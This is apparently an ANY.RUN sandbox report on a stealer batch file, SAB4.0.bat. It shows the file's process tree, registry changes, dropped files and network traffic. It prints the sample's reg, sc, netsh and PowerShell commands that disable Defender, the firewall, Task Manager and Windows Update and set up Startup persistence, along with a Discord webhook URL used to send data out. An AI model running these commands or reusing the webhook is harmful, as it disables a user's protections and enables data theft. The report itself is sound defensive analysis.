File name:

SAB4.0.bat

Full analysis: https://app.any.run/tasks/71a67b54-687d-4a93-9d13-80cdd62f2db5
Verdict: Malicious activity
Threats:

Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns.

Malware Trends Tracker     >>>
Analysis date: June 21, 2025, 09:02:59
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
discord
exfiltration
stealer
auto-startup
Indicators:
MIME: text/x-msdos-batch
File info: DOS batch file, ASCII text, with CRLF line terminators
MD5:

7DFCB45FAC911C07BD4ED656C6CAB357

SHA1:

48AAEEB3BE89DCAABDE0F45FB278B0ECECD18E4C

SHA256:

B7C68A607271299CFFA5DA76B17044B891A17EE2742A2C37147522C30CDF481A

SSDEEP:

96:nQI8XV8wDIH5E8+aNb+qtXCMEWHvEqJ0IEXvEgR:nQI0IHvnNb++JEWHvxuDXcgR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Disables Windows firewall

      • reg.exe (PID: 2140)
      • reg.exe (PID: 2760)
      • reg.exe (PID: 4320)
      • reg.exe (PID: 6892)
      • reg.exe (PID: 3980)
      • reg.exe (PID: 4088)

    • Changes firewall settings

      • reg.exe (PID: 2140)
      • reg.exe (PID: 4320)
      • reg.exe (PID: 2760)
      • reg.exe (PID: 3980)
      • reg.exe (PID: 4088)
      • reg.exe (PID: 6892)

    • UAC/LUA settings modification

      • reg.exe (PID: 4916)
      • reg.exe (PID: 2980)

    • Disables Windows Defender

      • reg.exe (PID: 5244)
      • reg.exe (PID: 5616)

    • Disables task manager

      • reg.exe (PID: 6012)
      • reg.exe (PID: 6960)

    • Starts NET.EXE for service management

      • cmd.exe (PID: 4036)
      • net.exe (PID: 3196)
      • net.exe (PID: 4860)
      • cmd.exe (PID: 6776)

    • Uses NET.EXE to stop Windows Update service

      • cmd.exe (PID: 4036)
      • net.exe (PID: 3196)
      • cmd.exe (PID: 6776)
      • net.exe (PID: 4860)

    • Create files in the Startup directory

      • cmd.exe (PID: 4036)

    • Task Manager has been disabled (taskmgr)

      • reg.exe (PID: 6960)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 2976)
      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 6656)
      • cmd.exe (PID: 6776)

    • Executing commands from a ".bat" file

      • powershell.exe (PID: 6896)
      • powershell.exe (PID: 1740)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 6776)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 6776)

    • The process connected to a server suspected of theft

      • powershell.exe (PID: 6584)
      • powershell.exe (PID: 3108)

    • Reads security settings of Internet Explorer

      • ShellExperienceHost.exe (PID: 5720)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 6776)

    • Windows service management via SC.EXE

      • sc.exe (PID: 1080)
      • sc.exe (PID: 2760)

    • Suspicious use of NETSH.EXE

      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 6776)

    • Starts process via Powershell

      • powershell.exe (PID: 1740)
      • powershell.exe (PID: 6896)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 1740)
      • powershell.exe (PID: 6896)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 6776)
      • cmd.exe (PID: 6656)
      • cmd.exe (PID: 4036)
      • cmd.exe (PID: 2976)

  • INFO

    • Reads mouse settings

      • reg.exe (PID: 436)
      • reg.exe (PID: 3884)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6584)
      • powershell.exe (PID: 3108)

    • Remote server returned an error (POWERSHELL)

      • powershell.exe (PID: 6584)
      • powershell.exe (PID: 3108)

    • Disables trace logs

      • powershell.exe (PID: 6584)
      • netsh.exe (PID: 6980)
      • powershell.exe (PID: 3108)
      • netsh.exe (PID: 1328)

    • Checks proxy server information

      • powershell.exe (PID: 6584)
      • powershell.exe (PID: 3108)
      • slui.exe (PID: 7876)

    • Reads the computer name

      • ShellExperienceHost.exe (PID: 5720)

    • Checks supported languages

      • ShellExperienceHost.exe (PID: 5720)

    • Manual execution by a user

      • rundll32.exe (PID: 1816)
      • rundll32.exe (PID: 2864)
      • rundll32.exe (PID: 5496)
      • rundll32.exe (PID: 5564)
      • cmd.exe (PID: 6656)
      • rundll32.exe (PID: 1896)
      • rundll32.exe (PID: 3652)
      • rundll32.exe (PID: 6264)
      • rundll32.exe (PID: 7100)
      • rundll32.exe (PID: 7208)
      • rundll32.exe (PID: 7276)
      • rundll32.exe (PID: 7348)
      • rundll32.exe (PID: 6532)
      • rundll32.exe (PID: 5616)
      • rundll32.exe (PID: 1356)

    • Launching a file from the Startup directory

      • cmd.exe (PID: 4036)

    • Reads the software policy settings

      • slui.exe (PID: 7876)

    • Reads Microsoft Office registry keys

      • rundll32.exe (PID: 7208)

    • Reads security settings of Internet Explorer

      • rundll32.exe (PID: 7208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
197
Monitored processes
60
Malicious processes
16
Suspicious processes
2

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs cacls.exe no specs powershell.exe no specs cmd.exe conhost.exe no specs cacls.exe no specs powershell.exe reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs netsh.exe no specs shellexperiencehost.exe no specs net.exe no specs net1.exe no specs sc.exe no specs cmd.exe no specs conhost.exe no specs cacls.exe no specs powershell.exe no specs cmd.exe conhost.exe no specs cacls.exe no specs powershell.exe rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs reg.exe no specs netsh.exe no specs net.exe no specs net1.exe no specs sc.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs rundll32.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
436REG ADD "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ws2_32.dll
436\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
768\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1080sc config wuauserv start= disabledC:\Windows\System32\sc.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Service Control Manager Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1328netsh interface set interface name="Wi-Fi" admin=disableC:\Windows\System32\netsh.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Network Command Shell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\netsh.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1356"C:\WINDOWS\System32\rundll32.exe" "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen C:\Users\admin\Downloads\VARIETY_WOLFED_VARIETY_WOLFED_directclasses.jpgC:\Windows\System32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
1700REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d "Off" /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ws2_32.dll
1740powershell -Command "Start-Process -FilePath 'C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyAutoStart.bat' -Verb RunAs"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
1816REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\TCPIP6\Parameters" /v DisabledComponents /t REG_DWORD /d 0xFFFFFFFF /fC:\Windows\System32\reg.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Console Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ws2_32.dll
1816"C:\WINDOWS\System32\rundll32.exe" "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen C:\Users\admin\Downloads\VARIETY_WOLFED_directclasses.jpgC:\Windows\System32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll
Total events
33 555
Read events
33 522
Write events
33
Delete events
0

Modification events

(PID) Process:(6896) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.FriendlyAppName
Value:
Windows Command Processor
(PID) Process:(6896) powershell.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
Operation:writeName:C:\WINDOWS\System32\cmd.exe.ApplicationCompany
Value:
Microsoft Corporation
(PID) Process:(6012) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Operation:writeName:DisableTaskMgr
Value:
1
(PID) Process:(436) reg.exeKey:HKEY_CURRENT_USER\Control Panel\Mouse
Operation:writeName:SwapMouseButtons
Value:
1
(PID) Process:(7000) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
Operation:writeName:NoDesktop
Value:
1
(PID) Process:(1700) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Operation:writeName:SmartScreenEnabled
Value:
Off
(PID) Process:(2140) reg.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
Operation:writeName:EnableFirewall
Value:
0
(PID) Process:(4320) reg.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile
Operation:writeName:EnableFirewall
Value:
0
(PID) Process:(5244) reg.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
Operation:writeName:DisableAntiSpyware
Value:
1
(PID) Process:(2760) reg.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
Operation:writeName:EnableFirewall
Value:
0
Executable files
0
Suspicious files
1
Text files
23
Unknown types
0

Dropped files

PID
Process
Filename
Type
6896powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:390F7936FBF2B5B735CB5658747D094C
SHA256:02B7C30F5FE709B63491505DBDA706845258B687D9CD7CC4ADFA4C8D6E653D14
6584powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pol0qs1q.pvr.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6584powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_oqvmo3m3.r1z.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4036cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyAutoStart.battext
MD5:7DFCB45FAC911C07BD4ED656C6CAB357
SHA256:B7C68A607271299CFFA5DA76B17044B891A17EE2742A2C37147522C30CDF481A
6896powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dhouzihf.jr0.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6896powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_clqkptpu.ate.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1740powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_j4dpzp4b.0xr.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4036cmd.exeC:\Users\admin\Downloads\VARIETY_WOLFED_wellcoming.jpgimage
MD5:277C184E29E6AF7EEC45143B3F1F580D
SHA256:E2B0033C330E10F447ED06C9DC3A738494A57F7CE7EAD2CC6283EDA3B1449616
4036cmd.exeC:\Users\admin\Downloads\VARIETY_WOLFED_photographyprivacy.jpgimage
MD5:FD99E9F105BA54814F6A67E217EAE3D2
SHA256:C5C55B377EE18CBFCF89DE263D57D11A5F30EB599B6F4B73890866356E5010FD
4036cmd.exeC:\Users\admin\Downloads\VARIETY_WOLFED_partiesbest.pngimage
MD5:3BD3D5DCB21B36ED7AB745E2A5D3E75D
SHA256:BAAFFE6B1DA1DCA7D5711C2F689B6324C30D795F2C400932A9FF31E30388AA64
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
32
TCP/UDP connections
47
DNS requests
19
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3588
RUXIMICS.exe
GET
200
2.19.11.105:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
2.19.11.105:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.19.11.105:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
5944
MoUsoCoreWorker.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3588
RUXIMICS.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
POST
200
20.190.159.75:443
https://login.live.com/RST2.srf
unknown
xml
1.24 Kb
whitelisted
—
—
POST
404
162.159.128.233:443
https://discord.com/api/webhooks/1385864776902774865/NxFnzjTjNF0AFMRMbF63CBItfiGK1xQaLlpolNP5QAbGKVfs4h48tJsrLB-XoxUgYlA1
unknown
binary
45 b
whitelisted
—
—
POST
200
40.126.31.69:443
https://login.live.com/RST2.srf
unknown
xml
11.1 Kb
whitelisted
—
—
POST
200
20.190.159.68:443
https://login.live.com/ppsecure/deviceaddcredential.srf
unknown
text
16.7 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1268
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3588
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
3588
RUXIMICS.exe
2.19.11.105:80
crl.microsoft.com
Elisa Oyj
NL
whitelisted
5944
MoUsoCoreWorker.exe
2.19.11.105:80
crl.microsoft.com
Elisa Oyj
NL
whitelisted
1268
svchost.exe
2.19.11.105:80
crl.microsoft.com
Elisa Oyj
NL
whitelisted
5944
MoUsoCoreWorker.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted
1268
svchost.exe
95.101.149.131:80
www.microsoft.com
Akamai International B.V.
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 4.231.128.59
whitelisted
google.com
  • 216.58.206.78
whitelisted
crl.microsoft.com
  • 2.19.11.105
  • 2.19.11.120
  • 23.53.40.178
  • 23.53.40.176
whitelisted
www.microsoft.com
  • 95.101.149.131
  • 23.35.229.160
whitelisted
login.live.com
  • 40.126.32.76
  • 20.190.160.128
  • 20.190.160.22
  • 20.190.160.65
  • 20.190.160.132
  • 40.126.32.68
  • 20.190.160.67
  • 20.190.160.66
whitelisted
discord.com
  • 162.159.135.232
  • 162.159.138.232
  • 162.159.128.233
  • 162.159.136.232
  • 162.159.137.232
whitelisted
client.wns.windows.com
  • 172.211.123.250
  • 172.211.123.248
whitelisted
nexusrules.officeapps.live.com
  • 52.111.236.22
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 40.69.42.241
whitelisted

Threats

PID
Process
Class
Message
6584
powershell.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
2200
svchost.exe
Misc activity
ET INFO Observed Discord Domain in DNS Lookup (discord .com)
6584
powershell.exe
Misc activity
ET INFO Observed Discord Service Domain (discord .com) in TLS SNI
2200
svchost.exe
Misc activity
ET INFO Discord Chat Service Domain in DNS Lookup (discord .com)
6584
powershell.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via Discord
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
—
—
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3108
powershell.exe
Misc activity
ET INFO Observed Discord Domain (discord .com in TLS SNI)
3108
powershell.exe
Misc activity
ET INFO Observed Discord Service Domain (discord .com) in TLS SNI
3108
powershell.exe
Successful Credential Theft Detected
STEALER [ANY.RUN] Attempt to exfiltrate via Discord
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
SAB4.0.bat